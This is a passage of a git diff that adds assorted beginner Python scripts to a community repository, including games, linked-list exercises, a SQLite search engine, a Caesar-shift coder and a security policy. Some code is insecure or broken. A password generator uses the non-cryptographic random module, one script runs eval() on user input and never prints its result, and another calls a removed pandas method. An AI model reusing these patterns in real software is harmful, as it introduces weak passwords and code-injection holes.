running. +14. [ping_servers.py](https://github.com/geekcomputers/Python/blob/master/ping_servers.py) - Ping the servers associated with the specified application group. +15. [ping_subnet.py](https://github.com/geekcomputers/Python/blob/master/ping_subnet.py) - Scan the final range of a given IP subnet for available addresses. +16. [powerdown_startup.py](https://github.com/geekcomputers/Python/blob/master/powerdown_startup.py) - Ping machines in the server list. Load the putty session if the machine is up, or notify if it is not. +17. [puttylogs.py](https://github.com/geekcomputers/Python/blob/master/puttylogs.py) - Zip all the logs in the given directory. +18. [script_count.py](https://github.com/geekcomputers/Python/blob/master/script_count.py) - Scan the scripts directory and count the different types of scripts. +19. [get_youtube_view.py](https://github.com/geekcomputers/Python/blob/master/get_youtube_view.py) - Get more views for YouTube videos and repeat songs on YouTube. +20. [script_listing.py](https://github.com/geekcomputers/Python/blob/master/script_listing.py) - List all files in a given directory and its subdirectories. +21. [testlines.py](https://github.com/geekcomputers/Python/blob/master/testlines.py) - Open a file and print out 100 lines of the set line variable. +22. [tweeter.py](https://github.com/geekcomputers/Python/blob/master/tweeter.py) - Tweet text or a picture from the terminal. +23. [serial_scanner.py](https://github.com/geekcomputers/Python/blob/master/serial_scanner.py) - List available serial ports in use on Linux and Windows systems. +24. [get_youtube_view.py](https://github.com/geekcomputers/Python/blob/master/get_youtube_view.py) - Get more views for YouTube videos and repeat songs on YouTube. +25. [CountMillionCharacter.py](https://github.com/geekcomputers/Python/blob/master/CountMillionCharacter.py) and [CountMillionCharacter2.0](https://github.com/geekcomputers/Python/blob/master/CountMillionCharacters-2.0.py) - Get character count of a text file. +26. [xkcd_downloader.py](https://github.com/geekcomputers/Python/blob/master/xkcd_downloader.py) - Download the latest XKCD comic and place them in a new folder called "comics". +27. [timymodule.py](https://github.com/geekcomputers/Python/blob/master/timymodule.py) - An alternative to Python's 'timeit' module and easier to use. +28. [calculator.py](https://github.com/geekcomputers/Python/blob/master/calculator.py) - Implement a calculator using Python's eval() function. +29. [Google_News.py](https://github.com/geekcomputers/Python/blob/master/Google_News.py) - Use BeautifulSoup to provide latest news headlines along with news links. +30. [cricket_live_score](https://github.com/geekcomputers/Python/blob/master/Cricket_score.py) - Use BeautifulSoup to provide live cricket scores. +31. [youtube.py](https://github.com/geekcomputers/Python/blob/master/youtube.py) - Take a song name as input and fetch the YouTube URL of the best matching song and play it. +32. [site_health.py](https://github.com/geekcomputers/Python/blob/master/site_health.py) - Check the health of a remote server. +33. [SimpleStopWatch.py](https://github.com/geekcomputers/Python/blob/master/SimpleStopWatch.py) - Simple stop watch implementation using Python's time module. +34. [Changemac.py](https://github.com/geekcomputers/Python/blob/master/changemac.py) - Change your MAC address, generate a random MAC address, or enter input as a new MAC address on Linux (Successfully Tested in Ubuntu 18.04). +35. [whatsapp-monitor.py](https://github.com/geekcomputers/Python/blob/master/whatsapp-monitor.py) - Use Selenium to give online status updates about your contacts in WhatsApp on the terminal. +36. [whatsapp-chat-analyzer.py](https://github.com/subahanii/whatsapp-Chat-Analyzer) - WhatsApp group/individual chat analyzer that visualizes chat activity using matplotlib. +37. [JARVIS.py](https://git.io/fjH8m) - Control Windows programs with your voice. +38. [Images Downloader](https://git.io/JvnJh) - Download images from webpages on Unix-based systems. +39. [space_invader.py.py](https://github.com/meezan-mallick/space_invader_game) - Classical 2D space invader game to recall your childhood memories. +40. [Test Case Generator](https://github.com/Tanmay-901/test-case-generator/blob/master/test_case.py) - Generate different types of test cases with a clean and friendly UI, used in competitive programming and software testing. +41. [Extract Thumbnail From Video](https://github.com/geekcomputers/Python/tree/ExtractThumbnailFromVideo) - Extract Thumbnail from video files +42. [How to begin the journey of open source (first contribution)](https://www.youtube.com/watch?v=v2X51AVgl3o) - First Contribution of open source +43. [smart_file_organizer.py](https://github.com/sangampaudel530/Python2.0/blob/main/smart_file_organizer.py) - Organizes files in a directory into categorized subfolders based on file type (Images, Documents, Videos, Audios, Archives, Scripts, Others). You can run it once or automatically at set intervals using the `--path` and `--interval` options. +
+ +_**Note**: The content in this repository belongs to the respective authors and creators. I'm just providing a formatted README.md for better presentation._ diff --git a/Random Password Generator.py b/Random Password Generator.py new file mode 100644 index 00000000000..f420421d14b --- /dev/null +++ b/Random Password Generator.py @@ -0,0 +1,11 @@ +import random + +low = "abcdefghijklmnopqrstuvwxyz" +upp = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +num = "0123456789" +sym = "!@#$%^&*" + +all = low + upp + num + sym +length = 8 +password = "".join(random.sample(all, length)) +print(password) diff --git a/RandomDice.py b/RandomDice.py new file mode 100644 index 00000000000..682aaa47613 --- /dev/null +++ b/RandomDice.py @@ -0,0 +1,21 @@ +# GGearing 01/10/19 +# Random Dice Game using Tkinter +# Tkinter is used for Making Using GUI in Python Program! +# randint provides you with a random number within your given range! +from random import randint +from tkinter import * + + +# Function to rool the dice +def roll(): + text.delete(0.0, END) + text.insert(END, str(randint(1, 100))) + + +# Defining our GUI +window = Tk() +text = Text(window, width=3, height=1) +buttonA = Button(window, text="Press to roll!", command=roll) +text.pack() +buttonA.pack() +# End Of The Program! diff --git a/RandomNumberGame.py b/RandomNumberGame.py new file mode 100644 index 00000000000..b22a8086a89 --- /dev/null +++ b/RandomNumberGame.py @@ -0,0 +1,117 @@ +""" +Random Number Guessing Game +--------------------------- +This is a simple multiplayer game where each player tries to guess a number +chosen randomly by the computer between 1 and 100. After each guess, the game +provides feedback whether the guess is higher or lower than the target number. +The winner is the player who guesses the number in the fewest attempts. + +Example: + >>> import builtins, random + >>> random.seed(0) + >>> inputs = iter(["1", "Alice", "50", "49"]) + >>> builtins.input = lambda prompt="": next(inputs) + >>> from game import play_game + >>> players, scores, winners = play_game() + >>> players + ['Alice'] + >>> scores # doctest: +ELLIPSIS + [2] + >>> winners + ['Alice'] +""" + +import random +from typing import List, Tuple + + +def get_players(n: int) -> List[str]: + """ + Prompt to enter `n` player names. + + Args: + n (int): number of players + + Returns: + List[str]: list of player names + + Example: + >>> import builtins + >>> inputs = iter(["Alice", "Bob"]) + >>> builtins.input = lambda prompt="": next(inputs) + >>> get_players(2) + ['Alice', 'Bob'] + """ + return [input("Enter name of player: ") for _ in range(n)] + + +def play_turn(player: str) -> int: + """ + Let a player try to guess a random number. + + Args: + player (str): player name + + Returns: + int: number of attempts taken + + Example: + >>> import builtins, random + >>> random.seed(1) + >>> inputs = iter(["30", "15", "9"]) + >>> builtins.input = lambda prompt="": next(inputs) + >>> play_turn("Alice") # doctest: +ELLIPSIS + 3 + """ + target = random.randint(1, 100) + print(f"\n{player}, it's your turn!") + attempts = 0 + while True: + guess = int(input("Please enter your guess: ")) + attempts += 1 + if guess > target: + print("Too high, try smaller...") + elif guess < target: + print("Too low, try bigger...") + else: + print("Congratulations! You guessed it!") + return attempts + + +def play_game() -> Tuple[List[str], List[int], List[str]]: + """ + Run the multiplayer game. + + Returns: + Tuple[List[str], List[int], List[str]]: (players, scores, winners) + + Example: + >>> import builtins, random + >>> random.seed(2) + >>> inputs = iter(["1", "Eve", "30", "13"]) + >>> builtins.input = lambda prompt="": next(inputs) + >>> players, scores, winners = play_game() + >>> players + ['Eve'] + >>> scores # doctest: +ELLIPSIS + [2] + >>> winners + ['Eve'] + """ + n = int(input("Enter number of players: ")) + players = get_players(n) + scores = [play_turn(p) for p in players] + min_score = min(scores) + winners = [p for p, s in zip(players, scores) if s == min_score] + print("\nResults:") + for p, s in zip(players, scores): + print(f"{p}: {s} attempts") + print("\nWinner(s):", ", ".join(winners)) + return players, scores, winners + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + play_game() diff --git a/Randomnumber.py b/Randomnumber.py new file mode 100644 index 00000000000..6cd29746f7c --- /dev/null +++ b/Randomnumber.py @@ -0,0 +1,6 @@ +# Program to generate a random number between 0 and 9 + +# importing the random module +from random import randint + +print(randint(0, 9)) diff --git a/ReadFromCSV.py b/ReadFromCSV.py new file mode 100644 index 00000000000..dc8177021f4 --- /dev/null +++ b/ReadFromCSV.py @@ -0,0 +1,20 @@ +__author__ = "vamsi" +import pandas as pd # pandas library to read csv file +from matplotlib import pyplot as plt # matplotlib library to visualise the data +from matplotlib import style + +style.use("ggplot") + +"""reading data from SalesData.csv file + and passing data to dataframe""" + +df = pd.read_csv(r"..\SalesData.csv") # Reading the csv file +x = df[ + "SalesID" +].as_matrix() # casting SalesID to list #extracting the column with name SalesID +y = df["ProductPrice"].as_matrix() # casting ProductPrice to list +plt.xlabel("SalesID") # assigning X-axis label +plt.ylabel("ProductPrice") # assigning Y-axis label +plt.title("Sales Analysis") # assigning Title to the graph +plt.plot(x, y) # Plot X and Y axis +plt.show() # Show the graph diff --git a/Recursion Visulaizer/.recursionVisualizer.py.swp b/Recursion Visulaizer/.recursionVisualizer.py.swp new file mode 100644 index 00000000000..872ad8254bd Binary files /dev/null and b/Recursion Visulaizer/.recursionVisualizer.py.swp differ diff --git a/Recursion Visulaizer/Meshimproved.PNG b/Recursion Visulaizer/Meshimproved.PNG new file mode 100644 index 00000000000..edbcb588c93 Binary files /dev/null and b/Recursion Visulaizer/Meshimproved.PNG differ diff --git a/Recursion Visulaizer/fencedmesh.PNG b/Recursion Visulaizer/fencedmesh.PNG new file mode 100644 index 00000000000..47d60430796 Binary files /dev/null and b/Recursion Visulaizer/fencedmesh.PNG differ diff --git a/Recursion Visulaizer/git b/Recursion Visulaizer/git new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Recursion Visulaizer/recursionVisualizer.py b/Recursion Visulaizer/recursionVisualizer.py new file mode 100644 index 00000000000..4ecc495e628 --- /dev/null +++ b/Recursion Visulaizer/recursionVisualizer.py @@ -0,0 +1,72 @@ +import turtle +import random + +t = turtle.Turtle() +num = random.randint(1, 1000) +t.right(num) +t.speed(num) +t.left(num) + + +def tree(i): + if i < 10: + return + else: + t.right(15) + t.forward(15) + t.left(20) + t.backward(20) + tree(2 * i / 5) + t.left(2) + tree(3 * i / 4) + t.left(2) + tree(i / 2) + t.backward(num / 5) + tree(random.randint(1, 100)) + tree(random.randint(1, num)) + tree(random.randint(1, num / 2)) + tree(random.randint(1, num / 3)) + tree(random.randint(1, num / 2)) + tree(random.randint(1, num)) + tree(random.randint(1, 100)) + t.forward(num / 5) + t.right(2) + tree(3 * i / 4) + t.right(2) + tree(2 * i / 5) + t.right(2) + t.left(10) + t.backward(10) + t.right(15) + t.forward(15) + print("tree execution complete") + + +def cycle(i): + if i < 10: + return + else: + try: + tree(random.randint(1, i)) + tree(random.randint(1, i * 2)) + except: + print("An exception occured") + else: + print("No Exception occured") + print("cycle loop complete") + + +def fractal(i): + if i < 10: + return + else: + cycle(random.randint(1, i + 1)) + cycle(random.randint(1, i)) + cycle(random.randint(1, i - 1)) + cycle(random.randint(1, i - 2)) + print("fractal execution complete") + + +fractal(random.randint(1, 200)) +print("Execution complete") +turtle.done() diff --git a/Reverse_list_in_groups.py b/Reverse_list_in_groups.py new file mode 100644 index 00000000000..9698811d7ea --- /dev/null +++ b/Reverse_list_in_groups.py @@ -0,0 +1,55 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Reverse_Linked_List: + def __init__(self): + self.head = None + + def Insert_At_End(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + current = self.head + while current.next: + current = current.next + current.next = new_node + + def Reverse_list_Groups(self, head, k): + count = 0 + previous = None + current = head + while current is not None and count < k: + following = current.next + current.next = previous + previous = current + current = following + count += 1 + if following is not None: + head.next = self.Reverse_list_Groups(following, k) + return previous + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Reverse_Linked_List() + L_list.Insert_At_End(1) + L_list.Insert_At_End(2) + L_list.Insert_At_End(3) + L_list.Insert_At_End(4) + L_list.Insert_At_End(5) + L_list.Insert_At_End(6) + L_list.Insert_At_End(7) + L_list.Display() + L_list.head = L_list.Reverse_list_Groups(L_list.head, 2) + print("\nReverse Linked List: ") + L_list.Display() diff --git a/Rotate_Linked_List.py b/Rotate_Linked_List.py new file mode 100644 index 00000000000..c4117989fec --- /dev/null +++ b/Rotate_Linked_List.py @@ -0,0 +1,57 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Linked_List: + def __init__(self): + self.head = None + + def Insert_At_Beginning(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + new_node.next = self.head + self.head = new_node + + def Rotation(self, key): + if key == 0: + return + current = self.head + count = 1 + while count < key and current is not None: + current = current.next + count += 1 + if current is None: + return + Kth_Node = current + while current.next is not None: + current = current.next + current.next = self.head + self.head = Kth_Node.next + Kth_Node.next = None + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Linked_List() + L_list.Insert_At_Beginning(8) + L_list.Insert_At_Beginning(5) + L_list.Insert_At_Beginning(10) + L_list.Insert_At_Beginning(7) + L_list.Insert_At_Beginning(6) + L_list.Insert_At_Beginning(11) + L_list.Insert_At_Beginning(9) + print("Linked List Before Rotation: ") + L_list.Display() + print("Linked List After Rotation: ") + L_list.Rotation(4) + L_list.Display() diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 00000000000..f0c2eb583a7 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,33 @@ +# Security Policy + +## Supported Versions + +The project is currently at version **0.1**. +It was initially compatible with **Python 3.6+ ~ 3.13.7**, +but going forward we are migrating to **Python 3.9+** as the minimum supported version. + +| Version | Supported | Notes | +| ------- | ------------------ | ------------------------------------------ | +| 0.1.x | :white_check_mark: | Supported on Python 3.9+ (migration target) | +| < 0.1 | :x: | Not supported | + +| Python Version | Supported | Notes | +| -------------- | ------------------ | -------------------------- | +| 3.13.x | :white_check_mark: | Supported | +| 3.12.x | :white_check_mark: | Supported | +| 3.11.x | :white_check_mark: | Supported | +| 3.10.x | :white_check_mark: | Supported | +| 3.9.x | :white_check_mark: | Minimum required version | +| 3.6–3.8 | :x: | Deprecated (no longer supported) | + +--- + +## Reporting a Vulnerability + +To report a security vulnerability: + +- Please open a **private security advisory** through GitHub Security Advisories + (Repository → Security → Advisories → Report a vulnerability). +- You will receive an initial response within **7 days**. +- If the vulnerability is accepted, we will provide a patch or mitigation plan. +- If declined, we will explain the reasoning in detail. diff --git a/SOUNDEX.py b/SOUNDEX.py new file mode 100644 index 00000000000..fd3a3fdc9c4 --- /dev/null +++ b/SOUNDEX.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- + + +def SOUNDEX(TERM: str): + # Step 0: Covert the TERM to UpperCase + TERM = TERM.upper() + TERM_LETTERS = [char for char in TERM if char.isalpha()] + + # List the Remove occurrences of A, E, I, O, U, Y, H, W. + Remove_List = ("A", "E", "I", "O", "U", "Y", "H", "W") + # Save the first letter + first_letter = TERM_LETTERS[0] + # Take the Other letters instead of First_Letter + Characters = TERM_LETTERS[1:] + # Remove items from Character using Remove_List + Characters = [ + To_Characters + for To_Characters in Characters + if To_Characters not in Remove_List + ] + + # if len(Characters) == 0: + # return first_letter + "000" + + # Replace all the Characters with Numeric Values (instead of the first letter) with digits according to Soundex Algorythem Ruels + Replace_List = { + ("B", "F", "P", "V"): 1, + ("C", "G", "J", "K", "Q", "S", "X", "Z"): 2, + ("D", "T"): 3, + ("L"): 4, + ("M", "N"): 5, + ("R"): 6, + } + Characters = [ + value if char else char + for char in Characters + for group, value in Replace_List.items() + if char in group + ] + + # Step 3: Replace all adjacent same number with one number + Characters = [ + char + for Letter_Count, char in enumerate(Characters) + if ( + Letter_Count == len(Characters) - 1 + or ( + Letter_Count + 1 < len(Characters) + and char != Characters[Letter_Count + 1] + ) + ) + ] + + # If the saved Characters’s Number is the same the resulting First Letter,keep the First Letter AND remove the Number + if len(TERM_LETTERS) != 1: + if first_letter == TERM_LETTERS[1]: + Characters[0] = TERM[0] + else: + Characters.insert(0, first_letter) + + # If the Number of Characters are less than 4 insert 3 zeros to Characters + # Remove all except first letter and 3 digits after it. + # first_letter = Characters[0] + # Characters = Characters[1:] + + # Characters = [char for char in Characters if isinstance(char, int)][0:3] + while len(Characters) < 4: + Characters.append(0) + if len(Characters) > 4: + Characters = Characters[0:4] + + INDEX = "".join([str(C) for C in Characters]) + return INDEX diff --git a/Sanke-water-gun game.py b/Sanke-water-gun game.py new file mode 100644 index 00000000000..5f21277f15c --- /dev/null +++ b/Sanke-water-gun game.py @@ -0,0 +1,137 @@ +# author: slayking1965 (refactored for Python 3.13.7 with typing & doctests) + +""" +Snake-Water-Gun Game. + +Rules: +- Snake vs Water → Snake drinks water → Snake (computer) wins +- Gun vs Water → Gun sinks in water → Water (user) wins +- Snake vs Gun → Gun kills snake → Gun wins +- Same choice → Draw + +This module implements a 10-round Snake-Water-Gun game where a user plays +against the computer. + +Functions +--------- +determine_winner(user: str, computer: str) -> str + Returns result: "user", "computer", or "draw". + +Examples +-------- +>>> determine_winner("s", "w") +'computer' +>>> determine_winner("w", "g") +'user' +>>> determine_winner("s", "s") +'draw' +""" + +import random +import time +from typing import Dict + + +CHOICES: Dict[str, str] = {"s": "Snake", "w": "Water", "g": "Gun"} + + +def determine_winner(user: str, computer: str) -> str: + """ + Decide winner of one round. + + Parameters + ---------- + user : str + User's choice ("s", "w", "g"). + computer : str + Computer's choice ("s", "w", "g"). + + Returns + ------- + str + "user", "computer", or "draw". + """ + if user == computer: + return "draw" + + if user == "s" and computer == "w": + return "computer" + if user == "w" and computer == "s": + return "user" + + if user == "g" and computer == "s": + return "user" + if user == "s" and computer == "g": + return "computer" + + if user == "w" and computer == "g": + return "user" + if user == "g" and computer == "w": + return "computer" + + return "invalid" + + +def play_game(rounds: int = 10) -> None: + """ + Play Snake-Water-Gun game for given rounds. + + Parameters + ---------- + rounds : int + Number of rounds to play (default 10). + """ + print("Welcome to the Snake-Water-Gun Game\n") + print(f"I am Mr. Computer, We will play this game {rounds} times") + print("Whoever wins more matches will be the winner\n") + + user_win = 0 + comp_win = 0 + draw = 0 + round_no = 0 + + while round_no < rounds: + print(f"Game No. {round_no + 1}") + for key, val in CHOICES.items(): + print(f"Choose {key.upper()} for {val}") + + comp_choice = random.choice(list(CHOICES.keys())) + user_choice = input("\n-----> ").strip().lower() + + result = determine_winner(user_choice, comp_choice) + + if result == "user": + user_win += 1 + elif result == "computer": + comp_win += 1 + elif result == "draw": + draw += 1 + else: + print("\nInvalid input, restarting the game...\n") + time.sleep(1) + round_no = 0 + user_win = comp_win = draw = 0 + continue + + round_no += 1 + print(f"Computer chose {CHOICES[comp_choice]}") + print(f"You chose {CHOICES.get(user_choice, 'Invalid')}\n") + + print("\nHere are final stats:") + print(f"Mr. Computer won: {comp_win} matches") + print(f"You won: {user_win} matches") + print(f"Matches Drawn: {draw}") + + if comp_win > user_win: + print("\n------- Mr. Computer won -------") + elif comp_win < user_win: + print("\n----------- You won -----------") + else: + print("\n---------- Match Draw ----------") + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + play_game() diff --git a/Search_Engine/README.md b/Search_Engine/README.md new file mode 100644 index 00000000000..36081b0aad8 --- /dev/null +++ b/Search_Engine/README.md @@ -0,0 +1,9 @@ +Python Program to search through various documents and return the documents containing the search term. Algorithm involves using a reverse index to store each word in each document where a document is defined by an index. To get the document that contains a search term, we simply find an intersect of all the words in the search term, and using the resulting indexes, retrieve the document(s) that contain these words + +To use directly, run + +```python3 backend.py``` + +To use a gui, run + +```python3 frontend.py``` \ No newline at end of file diff --git a/Search_Engine/backend.py b/Search_Engine/backend.py new file mode 100644 index 00000000000..2c4f730b914 --- /dev/null +++ b/Search_Engine/backend.py @@ -0,0 +1,148 @@ +import sqlite3 +import json + + +class SearchEngine: + """ + It works by building a reverse index store that maps + words to an id. To find the document(s) that contain + a certain search term, we then take an intersection + of the ids + """ + + def __init__(self): + """ + Returns - None + Input - None + ---------- + - Initialize database. we use sqlite3 + - Check if the tables exist, if not create them + - maintain a class level access to the database + connection object + """ + self.conn = sqlite3.connect("searchengine.sqlite3", autocommit=True) + cur = self.conn.cursor() + res = cur.execute("SELECT name FROM sqlite_master WHERE name='IdToDoc'") + tables_exist = res.fetchone() + + if not tables_exist: + self.conn.execute( + "CREATE TABLE IdToDoc(id INTEGER PRIMARY KEY, document TEXT)" + ) + self.conn.execute("CREATE TABLE WordToId (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordToId VALUES (?, ?)", + ( + "index", + "{}", + ), + ) + + def index_document(self, document): + """ + Returns - string + Input - str: a string of words called document + ---------- + Indexes the document. It does this by performing two + operations - add the document to the IdToDoc, then + adds the words in the document to WordToId + - takes in the document (str) + - passes the document to a method to add the document + to IdToDoc + - retrieves the id of the inserted document + - uses the id to call the method that adds the words of + the document to the reverse index WordToId if the word has not + already been indexed + """ + row_id = self._add_to_IdToDoc(document) + cur = self.conn.cursor() + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] + reverse_idx = json.loads(reverse_idx) + document = document.split() + for word in document: + if word not in reverse_idx: + reverse_idx[word] = [row_id] + else: + if row_id not in reverse_idx[word]: + reverse_idx[word].append(row_id) + reverse_idx = json.dumps(reverse_idx) + cur = self.conn.cursor() + result = cur.execute( + "UPDATE WordToId SET value = (?) WHERE name='index'", (reverse_idx,) + ) + return "index successful" + + def _add_to_IdToDoc(self, document): + """ + Returns - int: the id of the inserted document + Input - str: a string of words called `document` + --------- + - use the class-level connection object to insert the document + into the db + - retrieve and return the row id of the inserted document + """ + cur = self.conn.cursor() + res = cur.execute("INSERT INTO IdToDoc (document) VALUES (?)", (document,)) + return res.lastrowid + + def find_documents(self, search_term): + """ + Returns - : the return value of the _find_documents_with_idx method + Input - str: a string of words called `search_term` + --------- + - retrieve the reverse index + - use the words contained in the search term to find all the idxs + that contain the word + - use idxs to call the _find_documents_with_idx method + - return the result of the called method + """ + cur = self.conn.cursor() + reverse_idx = cur.execute( + "SELECT value FROM WordToId WHERE name='index'" + ).fetchone()[0] + reverse_idx = json.loads(reverse_idx) + search_term = search_term.split(" ") + all_docs_with_search_term = [] + for term in search_term: + if term in reverse_idx: + all_docs_with_search_term.append(reverse_idx[term]) + + if not all_docs_with_search_term: # the search term does not exist + return [] + + common_idx_of_docs = set(all_docs_with_search_term[0]) + for idx in all_docs_with_search_term[1:]: + common_idx_of_docs.intersection_update(idx) + + if not common_idx_of_docs: # the search term does not exist + return [] + + return self._find_documents_with_idx(common_idx_of_docs) + + def _find_documents_with_idx(self, idxs): + """ + Returns - list[str]: the list of documents with the idxs + Input - list of idxs + --------- + - use the class-level connection object to retrieve the documents that + have the idx in the input list of idxs. + - retrieve and return these documents as a list + """ + idxs = list(idxs) + cur = self.conn.cursor() + sql = "SELECT document FROM IdToDoc WHERE id in ({seq})".format( + seq=",".join(["?"] * len(idxs)) + ) + result = cur.execute(sql, idxs).fetchall() + return result + + +if __name__ == "__main__": + se = SearchEngine() + se.index_document("we should all strive to be happy and happy again") + print(se.index_document("happiness is all you need")) + se.index_document("no way should we be sad") + se.index_document("a cheerful heart is a happy one even in Nigeria") + print(se.find_documents("happy")) diff --git a/Search_Engine/frontend.py b/Search_Engine/frontend.py new file mode 100644 index 00000000000..11905bf9d05 --- /dev/null +++ b/Search_Engine/frontend.py @@ -0,0 +1,38 @@ +from tkinter import * +import backend + + +def add_document(): + document = add_documents_entry.get() + se = backend.SearchEngine() + print(se.index_document(document)) + + +def find_term(): + term = find_term_entry.get() + se = backend.SearchEngine() + print(se.find_documents(term)) + + +if __name__ == "__main__": + root = Tk() + root.title("Registration Form") + root.geometry("300x300") + + add_documents_label = Label(root, text="Add Document:") + add_documents_label.pack() + add_documents_entry = Entry(root) + add_documents_entry.pack() + + add_document_button = Button(root, text="add", command=add_document) + add_document_button.pack() + + find_term_label = Label(root, text="Input term to search:") + find_term_label.pack() + find_term_entry = Entry(root) + find_term_entry.pack() + + search_term_button = Button(root, text="search", command=find_term) + search_term_button.pack() + + root.mainloop() diff --git a/Search_Engine/test_data.py b/Search_Engine/test_data.py new file mode 100644 index 00000000000..1c6c7b043ed --- /dev/null +++ b/Search_Engine/test_data.py @@ -0,0 +1,8 @@ +documents = [ + "we should all strive to be happy", + "happiness is all you need", + "a cheerful heart is a happy one", + "no way should we be sad", +] + +search = "happy" diff --git a/Secret message generator GUI by tkinter.py b/Secret message generator GUI by tkinter.py new file mode 100644 index 00000000000..ac6bfe49139 --- /dev/null +++ b/Secret message generator GUI by tkinter.py @@ -0,0 +1,211 @@ +import tkinter + +root = tkinter.Tk() +root.geometry("360x470") +root.title("SECRET MESSAGE CODER DECODER") + +name1 = tkinter.StringVar() +name2 = tkinter.StringVar() +result1 = tkinter.StringVar() +r1 = tkinter.Label( + root, + text="", + textvariable=result1, + fg="green", + bg="white", + font=("lucida handwriting", 15, "bold", "underline"), +) +r1.place(x=10, y=150) +result2 = tkinter.StringVar() +r2 = tkinter.Label( + root, + text="", + textvariable=result2, + fg="green", + bg="white", + font=("lucida handwriting", 15, "bold", "underline"), +) +r2.place(x=0, y=380) +a = tkinter.Entry( + root, + text="", + textvariable=name1, + bd=5, + bg="light grey", + fg="red", + font=("bold", 20), +) +a.place(x=0, y=50) +b = tkinter.Entry( + root, + text="", + textvariable=name2, + bd=5, + bg="light grey", + fg="red", + font=("bold", 20), +) +b.place(x=0, y=270) +t1 = tkinter.Label( + root, text="TYPE MESSAGE:", font=("arial", 20, "bold", "underline"), fg="red" +) +t2 = tkinter.Label( + root, text="TYPE SECRET MESSAGE:", font=("arial", 20, "bold", "underline"), fg="red" +) +t1.place(x=10, y=0) +t2.place(x=10, y=220) + + +def show1(): + data1 = name1.get() + codes = { + "b": "a", + "c": "b", + "d": "c", + "e": "d", + "f": "e", + "g": "f", + "h": "g", + "i": "h", + "j": "i", + "k": "j", + "l": "k", + "m": "l", + "n": "m", + "o": "n", + "p": "o", + "q": "p", + "r": "q", + "s": "r", + "t": "s", + "u": "t", + "v": "u", + "w": "v", + "x": "w", + "y": "x", + "z": "y", + "a": "z", + " ": " ", + "B": "A", + "C": "B", + "D": "C", + "E": "D", + "F": "E", + "G": "F", + "H": "G", + "I": "H", + "J": "I", + "K": "J", + "L": "K", + "M": "L", + "N": "M", + "O": "N", + "P": "O", + "Q": "P", + "R": "Q", + "S": "R", + "T": "S", + "U": "T", + "V": "U", + "W": "V", + "X": "W", + "Y": "X", + "Z": "Y", + "A": "Z", + } + lol1 = "" + for x in data1: + lol1 = lol1 + codes[x] + name1.set("") + result1.set("SECRET MESSAGE IS:-\n" + lol1) + return + + +bt1 = tkinter.Button( + root, + text="OK", + bg="white", + fg="black", + bd=5, + command=show1, + font=("calibri", 15, "bold", "underline"), +) +bt1.place(x=10, y=100) + + +def show2(): + data2 = name2.get() + codes = { + "a": "b", + "b": "c", + "c": "d", + "d": "e", + "e": "f", + "f": "g", + "g": "h", + "h": "i", + "i": "j", + "j": "k", + "k": "l", + "l": "m", + "m": "n", + "n": "o", + "o": "p", + "p": "q", + "q": "r", + "r": "s", + "s": "t", + "t": "u", + "u": "v", + "v": "w", + "w": "x", + "x": "y", + "y": "z", + "z": "a", + " ": " ", + "A": "B", + "B": "C", + "C": "D", + "D": "E", + "E": "F", + "F": "G", + "G": "H", + "H": "I", + "I": "J", + "J": "K", + "K": "L", + "L": "M", + "M": "N", + "N": "O", + "O": "P", + "P": "Q", + "Q": "R", + "R": "S", + "S": "T", + "T": "U", + "U": "V", + "V": "W", + "W": "X", + "X": "Y", + "Y": "Z", + "Z": "A", + } + lol2 = "" + for x in data2: + lol2 = lol2 + codes[x] + name2.set("") + result2.set("MESSAGE IS:-\n" + lol2) + return + + +bt2 = tkinter.Button( + root, + text="OK", + bg="white", + fg="black", + bd=5, + command=show2, + font=("calibri", 15, "bold", "underline"), +) +bt2.place(x=10, y=320) +root.mainloop() diff --git a/Shortest Distance between Two Lines.py b/Shortest Distance between Two Lines.py new file mode 100644 index 00000000000..b60b339acda --- /dev/null +++ b/Shortest Distance between Two Lines.py @@ -0,0 +1,16 @@ +import math +import numpy as NP + +LC1 = eval(input("Enter DRs of Line 1 : ")) +LP1 = eval(input("Enter Coordinate through which Line 1 passes : ")) +LC2 = eval(input("Enter DRs of Line 2 : ")) +LP2 = eval(input("Enter Coordinate through which Line 2 passes : ")) +a1, b1, c1, a2, b2, c2 = LC1[0], LC1[1], LC1[2], LC2[0], LC2[1], LC2[2] +x = NP.array( + [[LP2[0] - LP1[0], LP2[1] - LP1[1], LP2[2] - LP1[2]], [a1, b1, c1], [a2, b2, c2]] +) +y = math.sqrt( + (((b1 * c2) - (b2 * c1)) ** 2) + + (((c1 * a2) - (c2 * a1)) ** 2) + + (((a1 * b2) - (b1 * a2)) ** 2) +) diff --git a/SimpleStopWatch.py b/SimpleStopWatch.py new file mode 100644 index 00000000000..5cdd826c771 --- /dev/null +++ b/SimpleStopWatch.py @@ -0,0 +1,19 @@ +# Author: OMKAR PATHAK +# This script helps to build a simple stopwatch application using Python's time module. + +import time + +print("Press ENTER to begin, Press Ctrl + C to stop") +while True: + try: + input() # For ENTER. Use raw_input() if you are running python 2.x instead of input() + starttime = time.time() + print("Started") + while True: + print("Time Elapsed: ", round(time.time() - starttime, 0), "secs", end="\r") + time.sleep(1) # 1 second delay + except KeyboardInterrupt: + print("Stopped") + endtime = time.time() + 